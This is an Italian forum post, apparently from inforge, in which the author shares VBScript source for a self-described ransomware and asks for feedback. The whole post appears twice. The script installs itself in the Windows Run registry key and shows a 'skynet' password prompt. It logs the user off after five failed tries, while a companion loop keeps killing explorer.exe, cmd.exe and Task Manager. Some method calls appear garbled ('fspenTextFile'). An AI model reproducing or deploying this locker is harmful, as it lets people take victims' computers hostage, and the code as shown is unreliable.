salve popolo di inforge
ho deciso di pubblicare qui il codice sorgente di una specie di ransomware scritto da me (VBS)
Set shell=CreateObject("WScript.Shell")
Set speake=CreateObject("SAPI.spvoice")
Set fso=CreateObject("Scripting.FileSystemObject")
shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MOM",WScript.ScriptFullName,"REG_SZ"
path1=WScript.ScriptFullName
path2=WScript.ScriptName
path=Replace(path1,path2,"")
shell.run path+"2.vbs"
stupid=Null
WScript.Sleep 500
ch=5
Set file2=fspenTextFile(path&"POOP.txt",2)
file2.WriteLine("")
file2.Close
Do
user=InputBox("skynet ha preso possesso del tuo pc. se vuoi riaverlo, inserici la password qui : "&vbNewLine&stupid,"tentativi rimasti : "&ch)
If user<>"CEnQzMjW5x2Ih79P0YdoabTsyrHMbYhzTeJE8ibR47FO2Hy5mQEza2AP30UY@@@" Then
ch=ch-1
If ch=0 Then
Set file2=fspenTextFile(path&"POOP.txt",2)
file2.WriteLine("")
file2.Close
shell.Run "shutdown.exe /l"
End If
stupid="PASSWORD ERRATA"
End If
Loop Until user="CEnQzMjW5x2Ih79P0YdoabTsyrHMbYhzTeJE8ibR47FO2Hy5mQEza2AP30UY@@@" 'CHANGE THE PASSWORD
Set file1=fspenTextFile(path&"POOP.txt",2)
file1.WriteLine("OK")
file1.Close
speake.speak "bentornato!"
WScript.Sleep 3000
On Error Resume Next
Set shell=CreateObject("WScript.Shell")
Set fso=CreateObject("Scripting.FileSystemObject")
shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MOM2",WScript.ScriptFullName,"REG_SZ"
path1=WScript.ScriptFullName
path2=WScript.ScriptName
path=Replace(path1,path2,"")
Do
shell.Run "taskkill /F /IM explorer.exe",0
shell.Run "taskkill /F /IM cmd.exe",0
shell.Run "taskkill /F /IM Taskmgr.exe",0
WScript.Sleep 1000
If fso.FileExists(path&"POOP.txt") then
Set check=fspenTextFile(path&"POOP.txt",1)
line=check.ReadLine
check.Close
If line="OK" Then
Set check1=fspenTextFile(path&"POOP.txt",2)
line=check.WriteLine(Null)
check1.Close
shell.Run "explorer.exe"
WScript.Quit
end if
End If
Loop
che ne pensate?
ho deciso di pubblicare qui il codice sorgente di una specie di ransomware scritto da me (VBS)
Set shell=CreateObject("WScript.Shell")
Set speake=CreateObject("SAPI.spvoice")
Set fso=CreateObject("Scripting.FileSystemObject")
shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MOM",WScript.ScriptFullName,"REG_SZ"
path1=WScript.ScriptFullName
path2=WScript.ScriptName
path=Replace(path1,path2,"")
shell.run path+"2.vbs"
stupid=Null
WScript.Sleep 500
ch=5
Set file2=fspenTextFile(path&"POOP.txt",2)
file2.WriteLine("")
file2.Close
Do
user=InputBox("skynet ha preso possesso del tuo pc. se vuoi riaverlo, inserici la password qui : "&vbNewLine&stupid,"tentativi rimasti : "&ch)
If user<>"CEnQzMjW5x2Ih79P0YdoabTsyrHMbYhzTeJE8ibR47FO2Hy5mQEza2AP30UY@@@" Then
ch=ch-1
If ch=0 Then
Set file2=fspenTextFile(path&"POOP.txt",2)
file2.WriteLine("")
file2.Close
shell.Run "shutdown.exe /l"
End If
stupid="PASSWORD ERRATA"
End If
Loop Until user="CEnQzMjW5x2Ih79P0YdoabTsyrHMbYhzTeJE8ibR47FO2Hy5mQEza2AP30UY@@@" 'CHANGE THE PASSWORD
Set file1=fspenTextFile(path&"POOP.txt",2)
file1.WriteLine("OK")
file1.Close
speake.speak "bentornato!"
WScript.Sleep 3000
On Error Resume Next
Set shell=CreateObject("WScript.Shell")
Set fso=CreateObject("Scripting.FileSystemObject")
shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MOM2",WScript.ScriptFullName,"REG_SZ"
path1=WScript.ScriptFullName
path2=WScript.ScriptName
path=Replace(path1,path2,"")
Do
shell.Run "taskkill /F /IM explorer.exe",0
shell.Run "taskkill /F /IM cmd.exe",0
shell.Run "taskkill /F /IM Taskmgr.exe",0
WScript.Sleep 1000
If fso.FileExists(path&"POOP.txt") then
Set check=fspenTextFile(path&"POOP.txt",1)
line=check.ReadLine
check.Close
If line="OK" Then
Set check1=fspenTextFile(path&"POOP.txt",2)
line=check.WriteLine(Null)
check1.Close
shell.Run "explorer.exe"
WScript.Quit
end if
End If
Loop
che ne pensate?